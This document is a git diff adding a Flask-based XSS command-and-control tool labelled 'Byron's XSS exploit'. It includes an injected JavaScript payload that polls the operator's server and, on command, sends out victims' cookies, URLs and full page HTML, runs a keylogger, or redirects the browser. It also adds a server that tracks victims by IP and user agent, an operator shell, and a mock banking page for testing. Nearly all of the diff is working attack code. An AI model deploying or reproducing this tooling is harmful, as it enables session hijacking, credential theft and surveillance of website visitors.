diff --git a/python/server.py b/python/server.py new file mode 100644 index 0000000..7aabe8d --- /dev/null +++ b/python/server.py @@ -0,0 +1,7 @@ +__author__ = 'jason' + +from xss_tunnel_server import app + +if __name__ == '__main__': + app.run() + diff --git a/python/xss_tunnel_server/__init__.py b/python/xss_tunnel_server/__init__.py new file mode 100644 index 0000000..595af8f --- /dev/null +++ b/python/xss_tunnel_server/__init__.py @@ -0,0 +1,14 @@ +from flask import Flask + +app = Flask(__name__) +app.debug = True + +from xss_tunnel_server.victims_store import VictimStore +victimStore = VictimStore() + +from xss_tunnel_server.commands_store import CommandStore +commandStore = CommandStore() + +import xss_tunnel_server.home +import xss_tunnel_server.shell +import xss_tunnel_server.tunnel diff --git a/python/xss_tunnel_server/commands_store.py b/python/xss_tunnel_server/commands_store.py new file mode 100644 index 0000000..15ecb7d --- /dev/null +++ b/python/xss_tunnel_server/commands_store.py @@ -0,0 +1,20 @@ +class CommandStore(): + + def __init__(self): + self.victimCommands = {} + + def addCommand(self, id, command): + if not self.victimCommands.has_key(id): + self.victimCommands[id] = [] + + self.victimCommands[id].append(command) + + def getCommands(self, id): + if self.victimCommands.has_key(id): + return self.victimCommands[id] + + return [] + + def clear(self): + if self.victimCommands.has_key(id): + self.victimCommands.clear() diff --git a/python/xss_tunnel_server/hack.py b/python/xss_tunnel_server/hack.py new file mode 100644 index 0000000..1694bcc --- /dev/null +++ b/python/xss_tunnel_server/hack.py @@ -0,0 +1,15 @@ +from flask import make_response +from functools import update_wrapper + +def hack(f): + def new_func(*args, **kwargs): + resp = make_response(f(*args, **kwargs)) + + resp.headers['Access-Control-Allow-Origin'] = '*' + resp.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS' + resp.headers['Access-Control-Allow-Headers'] = 'origin, content-type, accept, x-requested-with' + resp.headers['Access-Control-Max-Age'] = '1800' + + return resp + + return update_wrapper(new_func, f) \ No newline at end of file diff --git a/python/xss_tunnel_server/home.py b/python/xss_tunnel_server/home.py new file mode 100644 index 0000000..258b4fa --- /dev/null +++ b/python/xss_tunnel_server/home.py @@ -0,0 +1,17 @@ +from flask import render_template +from xss_tunnel_server import app, victimStore + +from xss_tunnel_server.nocache import nocache +from xss_tunnel_server.hack import hack + +@app.route('/') +@nocache +def index(): + return render_template('index.html', title = 'Home', + victims = victimStore.getVictims()) + +@app.route('/victim') +@nocache +@hack +def victim(): + return render_template('victim.html') diff --git a/python/xss_tunnel_server/model/__init__.py b/python/xss_tunnel_server/model/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/python/xss_tunnel_server/model/shell_command.py b/python/xss_tunnel_server/model/shell_command.py new file mode 100644 index 0000000..c1eccd5 --- /dev/null +++ b/python/xss_tunnel_server/model/shell_command.py @@ -0,0 +1,10 @@ +import time + +class ShellCommand(): + + def __init__(self, id, type, metaData): + self.id = id + self.date = time.strftime("%H:%M:%S") + self.type = type + self.metaData = metaData + diff --git a/python/xss_tunnel_server/model/victim.py b/python/xss_tunnel_server/model/victim.py new file mode 100644 index 0000000..e353fc6 --- /dev/null +++ b/python/xss_tunnel_server/model/victim.py @@ -0,0 +1,26 @@ +import time + +class Victim(): + + def __init__(self, id, request): + firstSeen = time.strftime("%H:%M:%S") + self.id = id + self.ip = request.remote_addr + self.userAgent = request.user_agent + self.referrer = request.referrer + self.firstSeen = firstSeen + self.lastSeen = firstSeen + self.commandQueue = [] + self.currentPage = '' + + def updateLastSeen(self): + self.lastSeen = time.strftime("%H:%M:%S") + + def queueCommand(self, command): + self.commandQueue.append(command) + + def hasCommands(self): + return len(self.commandQueue) > 0 + + def pollCommands(self): + return self.commandQueue.pop() \ No newline at end of file diff --git a/python/xss_tunnel_server/nocache.py b/python/xss_tunnel_server/nocache.py new file mode 100644 index 0000000..09be06f --- /dev/null +++ b/python/xss_tunnel_server/nocache.py @@ -0,0 +1,11 @@ +from flask import make_response +from functools import update_wrapper + +def nocache(f): + def new_func(*args, **kwargs): + resp = make_response(f(*args, **kwargs)) + resp.cache_control.no_cache = True + + return resp + + return update_wrapper(new_func, f) \ No newline at end of file diff --git a/python/xss_tunnel_server/shell.py b/python/xss_tunnel_server/shell.py new file mode 100644 index 0000000..9ffab14 --- /dev/null +++ b/python/xss_tunnel_server/shell.py @@ -0,0 +1,34 @@ +from xss_tunnel_server import app, commandStore, victimStore +from flask import json, request, render_template + +@app.route('/shell/', methods=['GET']) +def shell(id): + commands = commandStore.getCommands(id) + + return render_template('shell.html', title = 'Shell', id = id, commands = commands) + +@app.route('/shellCommands/', methods=['GET']) +def command(id): + commands = commandStore.getCommands(id) + + return render_template('commands.html', title = 'Shell Commands', commands = commands) + +@app.route('/currentPage/', methods=['GET']) +def current_page(id): + return victimStore.getVictim(id).currentPage + +@app.route('/receiveShellCommand/', methods=['POST']) +def receive_command(id): + print request.data + command = json.loads(request.data) + + if command.has_key('id'): + commandStore.addCommand(id, command) + victimStore.getVictim(id).queueCommand(command) + + return 'ok' + +@app.route('/clear/', methods=['GET']) +def clear_command(id): + commandStore.clear(id) + return 'ok' diff --git a/python/xss_tunnel_server/static/css/main.css b/python/xss_tunnel_server/static/css/main.css new file mode 100644 index 0000000..b854ef1 --- /dev/null +++ b/python/xss_tunnel_server/static/css/main.css @@ -0,0 +1,84 @@ +* { + margin:0; + padding:0; +} + +body, html { + height:100%; + width: 100%; +} + +.wrapper { + position:absolute; + left:50%; + top:50%; + width:800px; + + -webkit-transform: translate(-50%, -50%); + -moz-transform: translate(-50%, -50%); + -ms-transform: translate(-50%, -50%); + -o-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} + +.wrapper h1 { + float:left; + width: 100%; + height:40px; + line-height:40px; + text-align:center; +} + +.wrapper .left { + width: 600px; + float:left; +} + +.wrapper .right { + float:left; + width:198px; + height:398px; + background:lightgrey; + border: 1px solid; + overflow-y: auto; + overflow-x: hidden; +} + +.wrapper .bottom { + width: 798px; + height: 400px; + margin-top: 50px; + float:left; +} + +#userPage { + border: 1px solid black; +} + +.wrapper .right .function { + margin-left: 10px; + margin-top: 5px; + width: 175px; + height: 20px; +} + +#input { + width: 500px; + height: 20px; +} +#output { + width: 600px; + height: 400px; + resize: none; + color: #00ee26; + background-color: black +} +#submitButton { + width: 45px; + height: 20px; +} + +#clearButton { + width: 45px; + height: 20px; +} \ No newline at end of file diff --git a/python/xss_tunnel_server/static/js/hack.js b/python/xss_tunnel_server/static/js/hack.js new file mode 100644 index 0000000..1a200c6 --- /dev/null +++ b/python/xss_tunnel_server/static/js/hack.js @@ -0,0 +1,91 @@ +(function () { + var currentId = createUUID(); + var keys; + + var devUrl = "http://localhost:5000/"; + + var script = document.createElement("SCRIPT"); + script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js'; + script.type = 'text/javascript'; + document.getElementsByTagName("head")[0].appendChild(script); + + var checkReady = function (callback) { + if (window.jQuery) { + callback(jQuery); + } + else { + window.setTimeout(function () { + checkReady(callback); + }, 100); + } + }; + + checkReady(function ($) { + setInterval( + function () { + $.ajax({ + type: 'GET', + url: devUrl + 'ping/' + currentId, + contentType: 'text/plain', + xhrFields: { + withCredentials: false + }, + success: function (data) { + if (data != 'ntp') { + handleData(data); + } + } + }); + }, 1000); + }); + + + function startKeylogger() { + $("body").on("keypress", function (e) { + keys = keys + String.fromCharCode(e.which); + }); + } + + function stopKeyLogger() { + $("body").off("keypress"); + sendCommandToServer('receiveKeys', keys); + keys = ''; + } + + var handleData = function (data) { + console.dir(data); + if (data.type == 'msg') { + alert(data.metaData); + } else if (data.type == 'getCookies') { + sendCommandToServer("receiveCookies", document.cookie); + } else if (data.type == 'getUrl') { + sendCommandToServer("receiveUrl", window.location.href); + } else if (data.type == 'getSite') { + sendCommandToServer("receiveSite", document.documentElement.outerHTML); + } else if (data.type == 'startLogger') { + startKeylogger(); + } else if (data.type == 'stopLogger') { + stopKeyLogger(); + } else if (data.type == 'goToUrl') { + window.location.href = data.metadata; + } + + }; + + function sendCommandToServer(type, data) { + $.ajax({ + type: "POST", + url: devUrl + type + '/' + currentId, + data: data, + contentType: "application/json; charset=utf-8" + }); + } + + function createUUID() { + return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8); + return v.toString(16); + }); + } + +})(); \ No newline at end of file diff --git a/python/xss_tunnel_server/static/js/shell.js b/python/xss_tunnel_server/static/js/shell.js new file mode 100644 index 0000000..dd5a721 --- /dev/null +++ b/python/xss_tunnel_server/static/js/shell.js @@ -0,0 +1,145 @@ +$(function () { + + /////INITIAL SETUP///// + var input = $('#input'); + var output = $('#output'); + var submitButton = $('#submitButton'); + var clearButton = $('#clearButton'); + var commands = $('#commands'); + var id = $('#id').val(); + var devUrl = "http://localhost:5000/"; + + /////EVENT LISTENERS///// + + setInterval(getCommands, 500); + + function getCommands() { + $.ajax({ + type: "GET", + url: devUrl + "shellCommands/" + id, + success: (function (data) { + commands.innerHTML = ''; + commands.html(data); + }) + }); + + } + + submitButton.click(function () { + var value = input.val(); + + if (value.length != 0) { + var data = '{"id": "' + id + '", "date": "' + getTime() + '", "type": "msg", "metaData": "' + value + '"}'; + sendCommandToServer(data); + input.val(''); + } + }); + + input.keyup(function (event) { + if (event.keyCode == 13) { + submitButton.click(); + } + }); + + clearButton.click(function () { + var url = devUrl + 'clear/' + id; + $.ajax({ + url: url + }); + output.val(''); + }); + + $('.function').click(function () { + var dataAttr = $(this).attr('data-function'); + var send = true; + var value; + var result + + if (dataAttr == 'msg') { + result = prompt('What would you like to send?', 'XSS'); + if (result) { + value = result; + } + } else if (dataAttr == 'getCookies') { + value = dataAttr; + } else if (dataAttr == 'startLogger') { + value = dataAttr; + } else if (dataAttr == 'stopLogger') { + value = dataAttr; + } else if (dataAttr == 'getUrl') { + value = dataAttr; + } else if (dataAttr == 'getSite') { + value = dataAttr; + getCurrentPage(); + } else if (dataAttr == 'goToUrl') { + result = prompt('Which url you want the victim to visit?', 'http://google.com'); + if (result) { + var sure = confirm('Are you sure? You will lose the victim'); + if (sure) { + value = result; + } else { + send = false; + } + } else { + send = false; + } + } + + if (send) { + var data = '{"id": "' + id + '", "date": "' + getTime() + '", "type": "' + dataAttr + '", "metaData": "' + + value + '"}'; + sendCommandToServer(data); + } + }); + + + /////FUNCTIONS///// + + function getCurrentPage() { + $.ajax({ + type: "GET", + url: devUrl + "currentPage/" + id, + success: function (data) { + var iFrame = document.createElement('iframe'); + iFrame.id = 'page'; + iFrame.src = 'data:text/html;charset=utf-8,' + encodeURI(data); + iFrame.setAttribute('width', '798'); + iFrame.setAttribute('height', '400'); + document.getElementById('currentPage').innerHTML = ''; + document.getElementById('currentPage').appendChild(iFrame); + } + }); + } + + function sendCommandToServer(data) { + $.ajax({ + type: "POST", + url: devUrl + "receiveShellCommand/" + id, + data: data, + contentType: "application/json; charset=utf-8" + }); + } + + + /////HELPER METHODS///// + var getTime = function () { + var date = new Date(); + var hours = date.getHours(); + var minutes = date.getMinutes(); + var seconds = date.getSeconds(); + + if (hours < 10) { + hours = '0' + hours; + } + + if (minutes < 10) { + minutes = '0' + minutes; + } + + if (seconds < 10) { + seconds = '0' + seconds; + } + + return hours + ':' + minutes + ':' + seconds + ' - '; + }; +}); \ No newline at end of file diff --git a/python/xss_tunnel_server/templates/base.html b/python/xss_tunnel_server/templates/base.html new file mode 100644 index 0000000..d01ecca --- /dev/null +++ b/python/xss_tunnel_server/templates/base.html @@ -0,0 +1,13 @@ + + + + {% if title %} + {{title}} + {% endif %} + + + + + {% block content %}{% endblock %} + + \ No newline at end of file diff --git a/python/xss_tunnel_server/templates/commands.html b/python/xss_tunnel_server/templates/commands.html new file mode 100644 index 0000000..bd6c7a0 --- /dev/null +++ b/python/xss_tunnel_server/templates/commands.html @@ -0,0 +1,8 @@ +{% extends "base.html" %} +{% block content %} + +{% endblock %} \ No newline at end of file diff --git a/python/xss_tunnel_server/templates/index.html b/python/xss_tunnel_server/templates/index.html new file mode 100644 index 0000000..e954fb2 --- /dev/null +++ b/python/xss_tunnel_server/templates/index.html @@ -0,0 +1,56 @@ +{% extends "base.html" %} +{% block content %} + + +
+

Byron's XSS exploit

+
+ + {% if victims %} + + + + + + + + + + + + + + + {% for victim in victims %} + + + + + + + + + + {% endfor %} + +
IdIpReferrerUser AgentFirst SeenLast SeenShell
{{ victim.id }}{{ victim.ip }}{{ victim.referrer }}{{ victim.userAgent }}{{ victim.firstSeen }}{{ victim.lastSeen }}Interact
+ + {% else %} +
No victims yet
+ {% endif %} + +
+
+
+
+
+ + victim + +
+ +{% endblock %} \ No newline at end of file diff --git a/python/xss_tunnel_server/templates/shell.html b/python/xss_tunnel_server/templates/shell.html new file mode 100644 index 0000000..4485a0d --- /dev/null +++ b/python/xss_tunnel_server/templates/shell.html @@ -0,0 +1,40 @@ +{% extends "base.html" %} +{% block content %} + + +Back + +
+

Shell

+
+ +
+ +
+ + + + + +
+
+ + + + + + + +
+ +
+
+
+
+
+ +{% endblock %} \ No newline at end of file diff --git a/python/xss_tunnel_server/templates/victim.html b/python/xss_tunnel_server/templates/victim.html new file mode 100644 index 0000000..b324475 --- /dev/null +++ b/python/xss_tunnel_server/templates/victim.html @@ -0,0 +1,25 @@ + + + + My corporate website + + + + +My private banking page + +





+ + + + + + + + \ No newline at end of file diff --git a/python/xss_tunnel_server/tunnel.py b/python/xss_tunnel_server/tunnel.py new file mode 100644 index 0000000..b27d1ff --- /dev/null +++ b/python/xss_tunnel_server/tunnel.py @@ -0,0 +1,50 @@ +from xss_tunnel_server import app, commandStore, victimStore +from xss_tunnel_server.model.victim import Victim +from xss_tunnel_server.model.shell_command import ShellCommand +from flask import json, jsonify, request, Response + +@app.route('/receiveUrl/', methods=['POST']) +def receive_url(id): + report_back(id, ShellCommand(id, 'getUrl', request.data)) + + return Response(status=200) + +@app.route('/receiveCookies/', methods=['POST']) +def receive_cookies(id): + report_back(id, ShellCommand(id, 'getCookies', request.data)) + + return Response(status=200) + +@app.route('/receiveKeys/', methods=['POST']) +def receive_keys(id): + report_back(id, ShellCommand(id, 'stopLogger', request.data.replace('undefined', ''))) + + return Response(status=200) + + +@app.route('/receiveSite/', methods=['POST']) +def receive_site(id): + victim = victimStore.getVictim(id) + if victim: + site = request.data.replace('', '') + victim.currentPage = site + + return Response(status=200) + +@app.route('/ping/', methods=['GET']) +def ping(id): + if not victimStore.hasVictim(id): + victimStore.addVictim(id, Victim(id, request)) + + victim = victimStore.getVictim(id) + victim.updateLastSeen() + + if victim.hasCommands(): + command = victim.pollCommands() + + return jsonify(type = command['type'], metaData = command['metaData']) + + return 'ntp' + +def report_back(id, command): + commandStore.addCommand(id, command) diff --git a/python/xss_tunnel_server/victims_store.py b/python/xss_tunnel_server/victims_store.py new file mode 100644 index 0000000..bdd0a0f --- /dev/null +++ b/python/xss_tunnel_server/victims_store.py @@ -0,0 +1,24 @@ +class VictimStore(): + + def __init__(self): + self.victims = {} + + def addVictim(self, id, victim): + if not self.victims.has_key(id): + self.victims[id] = victim + + def removeVictim(self, id): + if self.victims.has_key(id): + self.pop(id, None) + + def getVictim(self, id): + if self.victims.has_key(id): + return self.victims[id] + + return None + + def hasVictim(self, id): + return self.victims.has_key(id) + + def getVictims(self): + return self.victims.values()